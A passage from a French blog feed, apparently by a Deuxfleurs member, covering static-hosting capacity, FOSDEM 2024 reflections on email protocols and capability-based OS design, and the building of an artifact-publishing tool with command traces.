Jusqu’ici je n’ai pas évoqué le cas d’utilisateurs malveillants, qui auraient pour objectif de réaliser une attaque par déni de service. Il existe différents types d’attaque par déni de service, certaines sont du “brute force” : un concours de celui qui aura le plus de ressources. De par l’approche de Deuxfleurs, c’est évidemment un concours que l’association n’a pas vocation à mener, et donc les attaques par déni de service sont un risque à prendre en compte. À noter que parfois, dans certaines limites, les fournisseurs d’accès internet peuvent agir pour bloquer le trafic malveillant seulement - ou tout le trafic - pendant l’attaque.

Mon test n’est pas du tout exhaustif ou représentatif de tout le web statique - mais c’est le mieux qu’on ait et on devra s’en contenter pour le moment. Par exemple, un site qui serait beaucou plus lourd (image, audio) pourrait avoir un comportement différent (on atteindrait peut-être une limite de bande passante - à tester), et c’est juste un exemple parmis des milliers de situations possibles (HTTP 2 vs HTTP 1.1 ? Versions & Cipher de TLS ? etc.).

À noter aussi qu’on n’a pas passé beaucoup de temps à penser l’optimisation des ressources de Deuxfleurs, on pourrait probablement avoir des gains avec de petites modifications. Par exemple en utilisant les spécificités d’IPv6 qui permettent de mettre plusieurs load balancers par zones géographique, ou en favorisant le chiffrement ChaCha20-Poly1305 qui est plus rapide que AES sur les CPU qui n’ont pas d’accélération matérielle comme certains de nos serveurs. Côté matériel, on pourrait s’assurer qu’on a du lien gigabit partout (et donc faire la chasse au 100Mb qui trainerait). En réalité je n’ai pas vraiment réfléchi plus que ça au sujet, je suis sûr qu’en se creusant les méninges, on trouverait des choses.

Et pour terminer, une conclusion provocante : avec 10 req/sec, rarement plus de 5Mb/s de trafic sortant, et 250 sites webs hébergés, c’est respectivement 1% du budget requête, 2% de la bande passante, et 3% du budget stockage qui est actuellement utilisé sur Deuxfleurs.

Réflexions suite au FOSDEM 2024

Tue, 06 Feb 2024 00:00:00 +0100

Le 3 et 4 février 2024 j’étais à Bruxelles pour le FOSDEM, une conférence pour les développeur-euses de logiciel libre. Ouverte à tout le monde, la conférence est monstrueuse : plus de 800 présentations, sur plus de 80 tracks, avec plusieurs dizaines de milliers de participant-es.

Cette année je présentais Aerogramme, un serveur IMAP développé au sein de Deuxfleurs. La présentation était axée sur les fonctionnalités de robustesse aux pannes dudit logiciel. Vous pouvez retrouver toutes les informations sur cette présentation sur la page dédiée de la conférence, dont une captation vidéo : [Servers] Aerogramme, a multi-region IMAP server. Plutôt que de vous présenter ce que j’ai vu, je vais plutôt me focaliser sur les réflexions que ça a généré.

Je commence par les emails, mais le gros du billet est autour de la conception de système d’exploitation distribués.

Emails

Ça faisait 10 ans qu’il n’y avait pas eu de track email au FOSDEM. D’où le nom “modern email” cette année, comme pour lancer un nouvel élan. C’était une expérimentation qui a été très fructueuse : les développeur-euses ont répondu présent.

La journée a commencé par la dimension “protocole” des emails : pourquoi il faut abandonner STARTTLS, les subtilités d’IMAP, et l’intégration d’Unicode dans les emails. Globalement, c’est très convaincant qu’il ne faut vraiment pas utiliser STARTTLS, et encore moins l’implémenter, c’est un nid à problème. Rien de nouveau lors de la présentation sur IMAP, deux points qui m’ont bien plu : on peut pas lexer IMAP, knowledge is disappearing et la subtilité des literals dans IMAP.

C’est emersion (Simon) qui a d’abord essayé d’écrire un lexer+parser pour IMAP, et ça ne marche pas. Les lexer+parser, c’est vraiment la façon élégante, qu’on t’apprend quand tu fais de la théorie des langages, mais ça oblige de concevoir ton langage avec des contraintes, pour pas qu’il soit ambigu. IMAP a été conçu de façon très organique, et ne répond pas à ces critères. Du coup c’est moins élégant, moins efficace, mais on utilise un parser combinator. D’ailleurs j’en étais venu à la même conclusion pour les emails (c’est à dire IMF/MIME).

En effet les savoirs disparaissent. On a pu voir ça sur Cobol, on a le cas pour les emails. Ça vient heurter des croyances, du progrès linéaire sur tous les aspects, y compris sur les savoirs. Cette critique n’est pas nouvelle, mais elle est toujours bonne à rappeler : les connaissances, le savoir, ça s’entretient.

Ensuite, dans IMAP, il y a cette idée qu’il y a besoin de coordination entre client et serveur. C’est à dire qu’en tant que client, j’ai besoin de surveiller ce que le serveur m’envoie, pour savoir dans quel état je suis. Et donc un des exemples, c’est la gestion des literals.

Et puis sur la question d’unicode, le speaker était fier de dire que c’était la première RFC qui simplifiait les protocoles plutôt que de les complexifier. En effet, plein de trucs qui étaient compliqués car demandait des encodings spéciaux, disparaissent dès lors que tu supportes UTF-8 : tu annonces ton support, et tu envoies de l’UTF-8 brut. Le présentateur revenait souvent sur cette importance de la simplification : plutôt que d’essayer de gérer les erreurs silencieusement, de réécrire les messages, etc. il a été choisi de simplement refuser l’envoi si un email UTF-8 tentait d’être délivré à un serveur qui ne le supporte pas, en vu de simplifier le debug, et avec l’idée que c’est toujours plus simple d’implémenter ce support que de coder des workarounds.

S’en est suivi un ensemble de présentation sur JMAP, d’abord par Fastmail, qui sont ceux qui l’ont proposé et le poussent. Ils expliquent à quel point le protocol est formidable comparé à IMAP. Mais aujourd’hui, il n’y a aucun client de référence pour pousser l’adoption de JMAP. Fastmail a bien un très bon client, mais ne veulent pas le rendre open source / libre. Soit disant JMAP est simple, mais en réalité en terme de fonctionnalités, il correspond à un IMAP avec un très grand nombre d’extensions : je ne pense donc pas tenter d’implémentation avant d’avoir toutes les extensions dans IMAP. Et une fois ces extensions dans IMAP, la différence en terme d’expérience n’est probablement pas si grande. Pire, ils se comparent toujours à IMAP, mais leur vrai concurrent c’est EAS (Exchange Active Sync), le protocole de Microsoft, présent dans tous les iPhone et Android depuis le début. Lui aussi est basé sur HTTPS, lui aussi supporte d’un seul tenant réception + envoi d’email, calendrier + contact. Sauf que lui possède plein d’excellents clients et des intégrations natives partout.

Il y a cependant quelques travaux sur JMAP. D’abord le client Android ltt.rs qui semble faire référence, des gens aussi qui développent des bibliothèques pour porter d’anciens protocoles vers JMAP, et puis Apache James semble supporter JMAP également. D’ailleurs Apache James, pur produit de l’écosystème Java, semble être un acteur assez sérieux dans le monde de l’email, je ne serais pas surpris qu’on en entende d’avantage parler dans les années à venir. Linagora semble avoir des déploiements importants, particulièrement dans le système de santé français. Impressionant. Pour revenir à JMAP, je pense donc définitivement qu’il va falloir à un moment qu’il se positionne face à Exchange Active Sync, d’ailleurs il y avait une présentation de Grommunio sur une intégration complète d’Exchange dans leur groupware C++ / PHP, qui démontrait bien encore la pertinence de EAS. Si JMAP a bien un argument en sa faveur, c’est l’absence de brevets logiciels, brevets qui plannent au dessus de Exchange, mais brevets logiciels qui ne semblent pas avoir droit de cité en France, d’où VLC d’ailleurs…

Je n’ai pas assisté à toutes les présentations de la room email, je pense potentiellement les rattraper en VOD plus tard. Pas de révélations sensationnelles, content de voir que les emails intéressent des gens, je pense toujours que EAS est plus pertinent que JMAP, et qu’une bonne implémentation d’IMAP c’est un bon point de départ…

Système

La session sur les microkernel+unikernel commençait par un positioning talk d’Alex. Alex s’intéresse à l’infrastructure logiciel de Deuxfleurs, et ce talk avait entre autre pour objectif de collecter des retours, des idées, et stimuler les discussions pour dépasser des problèmes qu’on rencontre. Nous y voilà donc…

Le corps de sa proposition, selon moi, c’est qu’il note une inadéquation entre, d’une part, le modèle mental qu’on se fait des différents composants de notre infrastructure, et d’autre part, les interfaces qui sont à nos dispositions qui ne sont pas adaptées.

L’enjeu est donc de définir les concepts mobilisés par notre modèle mental, et les problèmes que nous posent les interfaces actuelles.

Alex note que notre modèle ressemble beaucoup au design des microkernels : des processus indépendants qui communiquent entre eux via des IPC (InterProcessus Communication).

Selon moi, on peut très bien envisager aussi notre modèle comme le modèle d’acteur d’Erlang aussi. Et aussi l’écosystème microservice actuel. En fait, chaque approche va focaliser sur un aspect différent du problème. L’approche microkernel ne s’est pas intéressée au réseau, mais elle a beaucoup travaillé la question des permissions et de la sécurité à travers ce système de processus échangeant par messages. Je pense par exemple à l’object-capability model de sel4. Elle a essaimé aussi dans des OS traditionnels, je pense par exemple à Capsicum dans FreeBSD. L’approche d’Erlang s’intéresse quant à elle au réseau et à la robustesse : elle est nativement distribuée et les processus sont sans état. Quant à la robustesse, Erlang a toute une réflexion sur “laisser les processus crasher plutôt que de récupérer les erreurs”, avec un système de surveillance et redémarrage, dont les vertus sont expliqués dans The Zen of Erlang. Enfin l’écosystème microservice s’est intéressée au chemin de migration, comment graduellement aller vers ce modèle processus/messages, comment l’intégrer à des workflow de développement.

Sur la question des problèmes des interfaces actuelles, Alex note qu’il y a conflit pour accéder à des ressources partagées. Par exemple, le système, le daemon docker, et d’autres daemons se “battent” pour accéder à netfilter. Bien sûr, ils ont chacun leur table, mais un rechargement complet de ce dernier peut arriver, et c’est là qu’on voit que la gestion réseau n’a pas été pensée pour plusieurs processus. De la même manière, on a ce problème pour le système de fichier : par défaut, et malgré les permissions, c’est un seul espace de nom qui est partagé avec tout le monde. Et puis enfin, les interfaces sont conçues pour la façon de faire de l’ordinateur des années 1980 : un seul ordinateur, avec un seul processeur, des bandes magnétiques pour le stockage, etc. Tout ça n’est, d’une part, pas forcément la meilleure façon d’utiliser le matériel actuellement, et d’autre part, empêche de considérer certains usages à travers le réseau. Typiquement, la norme POSIX, d’ailleurs sur certains aspects très dure à implémenter et à utiliser correctement, a tendance a sédimenter l’écosystème.

De cette inadéquation “modèle mental” et “interfaces disponibles”, j’en tire deux problèmes : 1) un mauvais usage des ressources à disposition surtout dans le cas d’un cluster, et 2) des problèmes de correctness, c’est à dire que c’est très difficile de raisonner correctement sur un système, et donc de ne pas avoir de bugs.

Alex propose donc une architecture qui soit composée d’un orchestrateur microkernel qui schedulerait seulement des machines virtuelles, d’abord des machines Linux embarquant un seul processus pour la rétro-compatibilité avec un schéma Docker, et pour le futur, des machines virtuelles unikernel, où le logiciel étant mélangé au système d’exploitation, seul les fonctionnalités du système d’exploitation utilisée par le logiciel sont embarquées. Chaque processus (linux VM ou unikernel) communiqueraient ensemble alors via des API bas niveaux comme de l’IP ou le protocole VirtIO du noyau Linux. Je pense qu’une idée très forte qu’on trouve dans la présentation de Alex, c’est l’isolation des ressources : c’est la critique qu’il fait aux conteneur Linux, de mal isoler. Et je pense que le choix d’un hyperviseur avec des machines virtuelles est motivée dans cette optique d’isolation des ressources.

La question de l’isolation des ressources est également abordée par Lennart Poettering dans son billet systemd for Administrators, Part XVIII :

An important facet of modern computing is resource management: if you run more than one program on a single machine you want to assign the available resources to them enforcing particular policies. This is particularly crucial […] for large installations such as cloud setups, where resources are plenty, but the number of programs/services/containers on a single node is drastically higher.

Traditionally, on Linux only one policy was really available: all processes got about the same CPU time, or IO bandwith, modulated a bit via the process nice value. This approach is very simple and covered the various uses for Linux quite well for a long time. However, it has drawbacks: not all all processes deserve to be even, and services involving lots of processes (think: Apache with a lot of CGI workers) this way would get more resources than services whith very few (think: syslog).

Je pense que c’est important de mentionner ça, parce que dans un monde où on est matrixé par la sécurité, l’isolation des ressources est aussi très désirable en terme de stabilité des performances et pour éviter des bugs.

Alex conclut son talk en se demande comment mobiliser l’existant pour aboutir vers une infrastructures dont les interfaces seraient plus en adéquation avec notre modèle mental, que ce soit du côté des microkernels, des entrées/sorties, ou encore des frameworks & OS existants.

Lors de la session question/réponse, il y a une intervention qui m’a bien plus : “comment pensez-vous gérer la network transparency?”. Alex a répondu que toutes nos applications communiquent déjà à travers le réseau.

J’ai le sentiment que la question n’était pas exactement là, mais plus comment on connecte des processus entre eux, bref, une question de bus, de service discovery, de service mesh. Par exemple dans la documentation de Erlang, on peut lire :

A distributed Erlang system consists of a number of Erlang runtime systems communicating with each other. Each such runtime system is called a node. Message passing between processes at different nodes, as well as links and monitors, are transparent when pids are used. Registered names, however, are local to each node. This means that the node must be specified as well when sending messages, and so on, using registered names. The distribution mechanism is implemented using TCP/IP sockets. How to implement an alternative carrier is described in the ERTS User’s Guide.

Il me semble important aussi de lire les réflexions qui ont eu lieu dans le monde du microservice : que ce soit istio, Consul Connect, ou le Dapr de Microsoft. Actuellement, Deuxfleurs utilise un modèle basé sur le service discovery via DNS. Il a plusieurs faiblesses : pas de contrôle de permission, pas de gestion correcte des crashs - les services ne refont pas toujours de résolution quand un service crash et gardent une IP obsolète, pas de gestion du chiffrement, etc. L’article Microservices: The Journey So Far and Challenges Ahead remet bien ces problèmes et explique pourquoi l’industrie s’est déplacée vers les Service Mesh. Et puis, il me semble important d’aller creuser un peu plus loin aussi : du côté de dbus, du côté de Greybus, ou même du côté de Binder dans Android. Et puis de pousser encore un peu plus loin, et d’aller voir les Enterprise Service Bus et les Message Brokers. Ainsi on couvre - à ma connaissance - l’ensemble des approches pour échanger des messages.

Discussion

Voilà, c’est la fin de mes notes commentées du talk, maintenant j’arrête d’écrire en italique pour donner mon avis. Je trouve le sujet d’interroger notre modèle mental au regard des interfaces utilisés très pertinent, je pense que penser l’isolation des ressources à travers un système de processus qui communiquent entre eux est très fécond.En fait ça vient construire toute une réflexion sur 1) comment on gère ces processus et 2) comment on gère ces communications. Et quant on regarde ce qu’on fait à travers cette analyse, ça sent toujours la bidouille, on est toujours en train de “lutter contre le système”.

Par contre, pour moi la solution n’est pas “un microkernel”, un “unikernel” ou un “hyperviseur”. Aujourd’hui, quand on pense aux microkernels, on pense surtout à isoler les drivers, des composants bas niveau du système, etc. Soit des choses aujourd’hui qui ne nous posent pas de problème : Linux juste marche dans notre cas. N’en faisons pas un faux problème juste parce qu’on trouve son design peu élégant : il compense ça par une énorme communauté de gens très compétents et des processus de développements qui fonctionnent. De toute manière, quand il s’agit de tourner sur des vrais ordinateurs, l’enjeu ce sont les drivers, et ils n’existent pas sur les microkernels actuels. Enfin, c’est un monstre d’I/O et de performances, avec des gens qui ont étudié ses différents schedulers (processus, I/O, etc), qui a de nombreux outils de debug, d’observation, qui n’ont pas d’égale ailleurs.

Selon moi, dans le débat, on confond le noyau Linux, avec la Linux Programming Interface, et plus particulièrement POSIX ou les Single UNIX Specification. On a cette idée que Linux isole mal parce qu’il expose une surface d’attaque trop grande à travers ses appels systèmes (pour POSIX/SUS). Il faudrait donc un hyperviseur avec des machines virtuelles, ou la version optimisée : un unikernel, qui expose une surface beaucoup plus petite et plus simple, pour résoudre ce problème. Mais pourquoi ? Si le problème c’est l’interface, c’est cette interface qu’il faut réduire ! Et c’est super facile, ça s’appelle seccomp. Dans sa version originelle, seccomp ne permet que read, write, exit et sigreturn sur des descripteurs de fichier déjà ouvert. In fine, c’est une surface d’attaque bien moins grande, qui essaient d’émuler des périphériques obscures. Et puis quand bien même on trouverait ça encore trop, pourquoi ne pas envisager de patcher Linux pour enlever ce qui ne convient pas ? Ça me semble bien moins ambitieux que de repartir sur un système complètement différent.

Alors, on pourrait toujours avancer que des outils comme Firecraker ne gardent que le strict minimum, et que donc, il ne s’agit plus que de choisir si notre interface est VirtIO ou un stream sur un file descriptor Linux. Que c’est bonnet blanc et blanc bonnet. Mais ce que j’observe, c’est que dans le monde des hyperviseurs, on fait surtout des boites noires. Alors on rationalise : on déploie plein de boites noires qu’on gère de manière identique, mais on a déplacé beaucoup des problèmes dans ces boites noires. Avec VirtIO, on a du réseau et du stockage, mais on n’a toujours pas de bus de communication. Notre boite noire devient un seul processus, mais à l’intérieur, il y a plusieurs processus en réalité. On a donc dupliqué plein de choses : des schedulers de processus, mais aussi des scheduler d’I/O. Et puis un scheduler ça observe son environnement, ça fait des suppositions, et ça prend des décisions. Quid des interférences entre ces schedulers ? Je sais d’expérience que ça arrive. Et puis on a une API de bas-niveau, certe simple, mais qui embarque avec elle très peu d’informations sur le contexte, elle est très peu descriptive, on perd en expressivité. Et donc on donne moins de latitude au scheduler bas-niveau. Un exemple : Linux utilise la RAM de deux façons, directement pour les applications, et pour du cache. Certaines applications utilisent astucieusement cette capacité de cache, comme LMDB. Mais du point de vue de l’hyperviseur, il n’y a pas de différence entre le cache - récupérable - et la mémoire vraiment utilisée. On peut donc se retrouver à prendre des décisions sous-optimales. Et puis, enfin, en faisant des silos, on se prive de la mutualisation de certaines tâches. Pour provoquer : pourquoi on a un problème avec Electron (le fait de faire tourner un moteur Javascript par application) mais pas avec les unikernel ?

Enfin, il me semble nécessaire de faire une critique des unikernels du point de vue de la “loi de Conway” : les logiciels reflètent l’organisation sociale des gens qui l’ont produit. Et les interfaces logicielles sont la représentation des frontières entre les groupes. Quand on fait de l’unikernel, l’interface correspond à ce qu’on appelle de l’IaaS. Or il ressort lors de mes échanges que le bon niveau est plutôt du côté de ce qu’on appelle PaaS / Serverless. C’est d’ailleurs ce qu’ont confirmé les deux sessions suivantes : Genezio utilise des unikernels mais ne les expose pas à ses clients directement, elle leur propose du PaaS. Bunny est un builder sur le modèle de Docker pour packager des applications Unikernel, mais en réalité la plupart des gens veulent surtout faire un git push et que leur code se déploie seul.

Autrement dit, les technologies changent (de PHP au Serverless Typescript), mais il semble se dégager une constante : il est avisé de placer la frontière, l’interface, entre les développeur-euses qui encodent un métier dans leur langage de programmation d’une part, et ceux qui encodent une abstraction du matériel d’autre part. Cette abstraction doit permettre aux premiers d’exprimer leurs intentions, et au second d’y ajouter des contraintes qui permettent une utilisation efficiente du matériel. L’API S3 est un bon exemple : on peut stocker un fichier binaire de taille arbitraire, faire plein de choses avec, il très facile à servir, et en même temps, les contraintes sur l’API nous permettent de faire du géo-distribué ce que ne permet pas POSIX. A mon sens, ce modèle fonctionne très bien avec la philosophie microkernel : par défaut on n’a pas confiance dans le processus et on a un système standardisé avec une vérification systématique des permissions, avec une granularité aussi fine que voulu, pour accéder aux ressources.

Certaines personnes lors de la présentation envisageaient les unikernels comme des “libOS”. Et c’est peut-être là, selon moi, que se trouve une issue intéressante au concept : on pourrait enlever/désactiver certains composants de Linux, et faire nos propres composants microkernel à partir d’une libOS. Par exemple, tirer une stack QUIC d’une libOS, la wrap dans notre propre système de permission, et l’intégrer à notre système microkernel like.

Proposition

Mon système idéal pourrait se résumer à : un Linux, dont on ne garderait que les descripteurs de fichier, qui formeraient la base d’un système de capability systématique.

Plus spécifiquement un noyau Linux qu’on aurait potentiellement compilé, placé dans une partition EFI, potentiellement sans initramfs, ni système de fichier, avec un système d’initialisation qui soit un binaire de notre cru. Il serait en charge de lancer un ensemble hardcodé de process (possiblement en se forkant) : un daemon de membership pour s’interconnecter avec les autres serveurs de la grappe, connaitre leur adresse réseau et leurs services, un daemon de message bus - aussi appelé service mesh - qui se chargerait du routage des messages, des contrôles de permission, du chiffrement, etc., un daemon d’orchestration, qui serait en charge de démarrer les processus sur le noeud local avec les paramètres d’isolation seccomp et cgroup (à minima), et de passer les descripteurs de fichier dans le process et enfin un daemon de debug avec un ssh qui permette de se connecter et inspecter le système.

Tout le système serait construit sur les descripteurs de fichier, un processus n’aurait pas accès à l’interface de programmation de Linux (hormis les quelques appels systèmes pour manipuler des descripteurs de fichier déjà ouverts, grâce à seccomp toujours). Si un processus veut accéder à l’heure, à un timer, ou tout autre chose, il doit récupérer un descripteur de fichier. Je pense que ce système est particulièrement efficace : avec poll, puis epoll, et maintenant io_uring, de nombreuses ressources sont exposables via un descripteur de fichier maintenant. Ça veut aussi dire, que dans plein de cas, on peut éviter d’ajouter des surcouches : un daemon peut setup une connexion TLS avec kTLS et passer le descripteur au process, qui alors fait du TLS sans s’en rendre compte, et de manière bien plus efficiente que notre système de reverse proxy actuel. Pour des cas spécifiques qui ne sont pas directement supportés par le noyau Linux, alors le descripteur de fichier serait une unix domain socket ou un pipe vers le daemon parent qui se chargerait du travail et des vérifications. Certains processus plus privilégiés pourraient donc avoir accès à quelques syscalls du domaine qu’ils gèreraient. On aurait par exemple un processus qui aurait accès aux syscalls de netfilter, avec qui ont communiquerait à l’aide de UNIX Sockets, pour demander des configurations. Il vérifierait alors les permissions, serait conçu pour gérer correctement cet objet partagé, et appliquerait les modifications.

Quelques précisions : quand on fork + exec avec Linux, les file descriptors ouverts sont passés au processus enfant. Mais se pose la question quand le processus est démarré : comment peut-il obtenir de nouveaux descripteurs ? À travers un appel système comme pidfd_getfd ou via SCM_RIGHTS. Maintenant on peut imaginer que l’init crée un canal de communication entre notre daemon de message et notre orchestrateur au démarrage. Lorsque l’orchestrateur veut démarrer un nouveau processus, il demande - en suivant la description du service - au message bus les descripteurs de fichiers demandés - comme écouter sur un port, ouvrir une connexion TCP, etc. Le message bus les renvoie à l’orchestrateur, qui démarre le service en passant ces descripteurs de fichier. Dans le cas où le service enfant veut intéragir directement avec le message bus, par exemple parce qu’il est amené à ouvrir des connexions dans son cycle de vie, l’orchestrateur peut demander au message bus d’ouvrir une paire de descripteur de fichier vers lui-même avec des restrictions de permissions indiquées par l’orchestrateur, et passer ce descripteur à l’enfant.

La rétro-compatibilité peut alors s’envisager avec des outils comme gVisor. Le système de fichier pourrait être émulé, ainsi que beaucoup d’autres aspects. Ce dont on aurait vraiment besoin, comme le réseau par exemple, serait alors intercepté, et les appels convertit pour intéragir avec le message bus. Mais de manière générale, tout ce qui permet d’intercepter les syscalls est envisageable. Ainsi un LD_PRELOAD avant une libc est envisageable aussi, voire une libc spécifique, possiblement il y a des choses à creuser du côté de emscripten.

On pourrait alors imaginer un service de serverless/lambda function sur ce modèle. En gros le principe d’un système de ce genre, c’est de charger le code de l’utilisateur qu’en cas de besoin. C’est un peu la version cloud de inetd si vous préférez. Donc on aurait un daemon web qui écouterait. Lors de la réception d’une requête HTTP, il scannerait le champs Host de la requête et son URL. En fonction de cette dernière, il demanderait à l’orchestrateur de démarrer le service adéquat, et de connecter ses descripteurs de fichier pour gérer la requête/réponse. Là encore, si l’utilisateur veut que son service puisse accéder à des ressources autres, il devra les déclarer au moment de publier son code, et ne pourra pas outrepasser ce qui lui est permis.

L’idée que je présente est partiellement discutée dans un papier intitulé A capability inspired low level security model based on modern Linux kernels. Ma proposition se différencie dans le sens où, pour contourner certaines limitations des descripteurs de fichier, j’envisage des daemons en espace utilisateur qui se chargeraient de réduire le scope. Il est bon de noter, en plus de Capsicum, le cas de Cloud ABI. Pour moi, Capsicum, à vouloir moduler ce que fait le descripteur de fichier se trompe : ça doit rester un stream simple, l’important c’est qui il y a au bout. Le projet que j’envisage est justement de définir ces composants (orchestrateur, message bus, etc.) dans un monde où on a que des descripteurs de fichier. CloudABI se concentre uniquement sur la rétro-compatibilité : comment s’assurer que les processus existants, supposant un POSIX/interface de programmation Linux vont bien se comporter et ne vont pas crasher/silencieusement downgrade vers des comportements indésirables (par exemple pour la cryptographie et la génération d’aléatoire). C’est intéressant mais orthogonal.

Conclusion

J’ai vu deux trois autres choses au FOSDEM. En vrac : j’ai bien aimé la présentation de Garage par Alex, j’ai beaucoup apprécié aussi le lightning talk de Emily Omier Project websites that don’t suck : très pertinent, très bien exécuté. Plein de monde, de food trucks, de stands, de présentations, je n’ai pas essayé de tout faire : j’ai essayé de me focaliser seulement sur ces deux points. Si vous avez un billet de blog sur votre FOSDEM, je peux le référencer en bas de celui-ci.

Automatiser la publication des artefacts

Mon, 17 Apr 2023 07:45:22 +0200

Cet article fait suite aux 3 articles précédents :

Mainteant qu’on comprend mieux le problème, on aimerait définir un outil pour nous faciliter la vie à la publication. Il sera indépendant (standalone) mais développé au sein du dépôt albatros car il est prévu pour être utilisé de pair. Dans ce billet, son nom de code est alba.

Commençons par les entrées de notre programme : un ensemble de fichiers qui doit être généré par nos outils Nix :

# static
nix build .#packages.x86_64-linux.albatros  -o df/linux/amd64/albatros
nix build .#packages.i686-linux.albatros    -o df/linux/386/albatros
nix build .#packages.aarch64-linux.albatros -o df/arm64/albatros
nix build .#packages.armv6l-linux.albatros  -o df/linux/arm/albatros

# docker
nix build .#packages.x86_64-linux.docker.albatros  -o docker/linux.amd64.tar.gz
nix build .#packages.armv6l-linux.docker.albatros  -o docker/linux.arm.tar.gz
nix build .#packages.aarch64-linux.docker.albatros -o docker/linux.arm64.tar.gz
nix build .#packages.i686-linux.docker.albatros    -o docker/linux.386.tar.gz

Et maintenant imaginons les commandes de base :

alba static push -t albatros:0.9 docker/ 's3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&region=garage&s3ForcePathStyle=true'
alba container push -t albatros:0.9 docker/ 's3://registry.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&region=garage&s3ForcePathStyle=true'
alba container push -t albatros:0.9 docker/ 'docker://docker.io/dxflrs/albatros:0.9'

On pourra imaginer d’avantage de commandes par la suite comme :

alba static ls -t albatros 's3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&region=garage'
alba static rm -t albatros:0.8 's3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&region=garage'
alba static gc -t albatros --keep 10 's3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&region=garage'

Mais c’est en dehors du périmètre pour le moment !

La glue

J’ai choisi d’utiliser un petit panel de bibliothèques pour faire la glue entre tout ça :

Go CDK pour la publication des artefacts sur un object storage
crane pour la publication d’images OCI sur un registre compatible
Cobra comme framework CLI
containers/image comme bibliothèque de manipulation des conteneurs

Publier un binaire statique sur Garage

Après implémentation, voici la trace de la commande :

$ ./alba static push -t albatros:0.9 df/ 's3://download.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&s3ForcePathStyle=true&region=garage'
df/linux/386/albatros -> df-dist-v1/albatros/0.9/linux/386/albatros
df/linux/amd64/albatros -> df-dist-v1/albatros/0.9/linux/amd64/albatros
df/linux/arm/albatros -> df-dist-v1/albatros/0.9/linux/arm/albatros
df/linux/arm64/albatros -> df-dist-v1/albatros/0.9/linux/arm64/albatros
tag -> df-dist-v1/albatros/0.9
manifest -> df-dist-v1/albatros
✅ push succeeded

On peut vérifier que tout fonctionne avec curl :

$ curl https://download.deuxfleurs.org/df-dist-v1/albatros
{"name":"albatros","tags":["0.9"]}
$ curl https://download.deuxfleurs.org/df-dist-v1/albatros/0.9
{"flavors":[{"resources":[{"path":"albatros"}],"platform":{"architecture":"386","os":"linux"}},{"resources":[{"path":"albatros"}],"platform":{"architecture":"amd64","os":"linux"}},{"resources":[{"path":"albatros"}],"platform":{"architecture":"arm","os":"linux"}},{"resources":[{"path":"albatros"}],"platform":{"architecture":"arm64","os":"linux"}}]}
$ curl -I https://download.deuxfleurs.org/df-dist-v1/albatros/0.9/linux/amd64/albatros
HTTP/2 200
content-type: application/octet-stream

Publier un conteneur sur Garage

Après implémentation, voici la trace de la commande :

$ ./alba container push -t albatest:0.9 docker/ 's3://registry.deuxfleurs.org?endpoint=garage.deuxfleurs.fr&s3ForcePathStyle=true&region=garage'
-- load docker archives --
docker/linux.386.tar.gz -> [oci system image; os:linux, arch:386, path:/tmp/alba-oci4145280408/0]
docker/linux.amd64.tar.gz -> [oci system image; os:linux, arch:amd64, path:/tmp/alba-oci4145280408/1]
docker/linux.arm.tar.gz -> [oci system image; os:linux, arch:arm, path:/tmp/alba-oci4145280408/2]
docker/linux.arm64.tar.gz -> [oci system image; os:linux, arch:arm64, path:/tmp/alba-oci4145280408/3]
-- merge system images --
-> oci-layout
-> index.json
/tmp/alba-oci4145280408/0/blobs/sha256 -> /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
/tmp/alba-oci4145280408/1/blobs/sha256 -> /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
/tmp/alba-oci4145280408/2/blobs/sha256 -> /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
/tmp/alba-oci4145280408/3/blobs/sha256 -> /tmp/alba-oci4145280408/multi/blobs/sha256 (3 items)
-- push to the s3 target --
[index] index.json -> v2/albatest/manifests/0.9
[index] index.json -> v2/albatest/manifests/sha256:5b522fa8bdd9c959c31c0dfd59cabe4e3f1c2a05fff794f1b371af9cd60e106f
[manifest linux 386] /tmp/alba-oci4145280408/multi/blobs/sha256/d81112fd42d4d055a449dfbf054bdce6e4862825f57ea713cd9a622f88b294e1 -> v2/albatest/manifests/sha256:d81112fd42d4d055a449dfbf054bdce6e4862825f57ea713cd9a622f88b294e1
[manifest linux amd64] /tmp/alba-oci4145280408/multi/blobs/sha256/db570b83c5f5f2f0dca7ab9c814d45395654fd91a01bfd573d729ff8cb9cba5c -> v2/albatest/manifests/sha256:db570b83c5f5f2f0dca7ab9c814d45395654fd91a01bfd573d729ff8cb9cba5c
[manifest linux arm] /tmp/alba-oci4145280408/multi/blobs/sha256/0a1d95229adc211231f0114d49b05b8f1dd1005a15e46b67d94d2ff6995eb0ff -> v2/albatest/manifests/sha256:0a1d95229adc211231f0114d49b05b8f1dd1005a15e46b67d94d2ff6995eb0ff
[manifest linux arm64] /tmp/alba-oci4145280408/multi/blobs/sha256/7e3c758750bcec00f384e7a48037ced80745ec06b4140aab8e1ceb76d635029f -> v2/albatest/manifests/sha256:7e3c758750bcec00f384e7a48037ced80745ec06b4140aab8e1ceb76d635029f
[config linux 386] /tmp/alba-oci4145280408/multi/blobs/sha256/d69316bdcae505156be3560d0ec594c3b1f51c8590872a83b9f1735ac56c56bc -> v2/albatest/blobs/sha256:d69316bdcae505156be3560d0ec594c3b1f51c8590872a83b9f1735ac56c56bc
[blob linux 386] 1 items sent
[config linux amd64] /tmp/alba-oci4145280408/multi/blobs/sha256/f42e98b1f00892273b28d8f198f0a4e9138f19b0ceba8ceb6790cda6901d6e3f -> v2/albatest/blobs/sha256:f42e98b1f00892273b28d8f198f0a4e9138f19b0ceba8ceb6790cda6901d6e3f
[blob linux amd64] 1 items sent
[config linux arm] /tmp/alba-oci4145280408/multi/blobs/sha256/8830adff9feedffd3141a4aca5ea0ff2a8ae3b5731b4801eeb19aadad2d9ed05 -> v2/albatest/blobs/sha256:8830adff9feedffd3141a4aca5ea0ff2a8ae3b5731b4801eeb19aadad2d9ed05
[blob linux arm] 1 items sent
[config linux arm64] /tmp/alba-oci4145280408/multi/blobs/sha256/7add660d53f77f5c6ac6a833840ce5148015e0e1913a3d839ae0cf87a055e6c6 -> v2/albatest/blobs/sha256:7add660d53f77f5c6ac6a833840ce5148015e0e1913a3d839ae0cf87a055e6c6
[blob linux arm64] 1 items sent
